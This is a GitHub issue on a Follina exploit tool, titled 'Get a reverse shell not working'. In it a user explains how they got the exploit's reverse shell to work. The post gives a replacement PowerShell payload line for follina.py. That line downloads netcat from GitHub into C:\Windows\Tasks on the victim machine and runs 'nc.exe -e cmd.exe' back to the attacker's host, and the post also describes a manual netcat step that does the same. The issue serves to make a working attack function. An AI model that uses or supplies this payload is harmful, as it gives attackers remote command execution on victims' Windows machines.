Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Get a reverse shell not working #25

Open
Skunky824 opened this issue Jun 26, 2022 · 0 comments
Open

Get a reverse shell not working #25

Skunky824 opened this issue Jun 26, 2022 · 0 comments

Comments

@Skunky824
Copy link

Skunky824 commented Jun 26, 2022

According to Readme.md you should be able to get a reverse shell just by running python3 follina.py -r 9001, this didn't work for me and i had to manually download netcat on the victim machine from "https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe" then run nc.exe -e cmd.exe $HOST_IP to successfully get a reverse shell in the attacker box.

Invoke-WebRequest complains about creating an SSL connection.

This can be fixed by changing line 113 in follina.py with:
command = f"""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ; Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant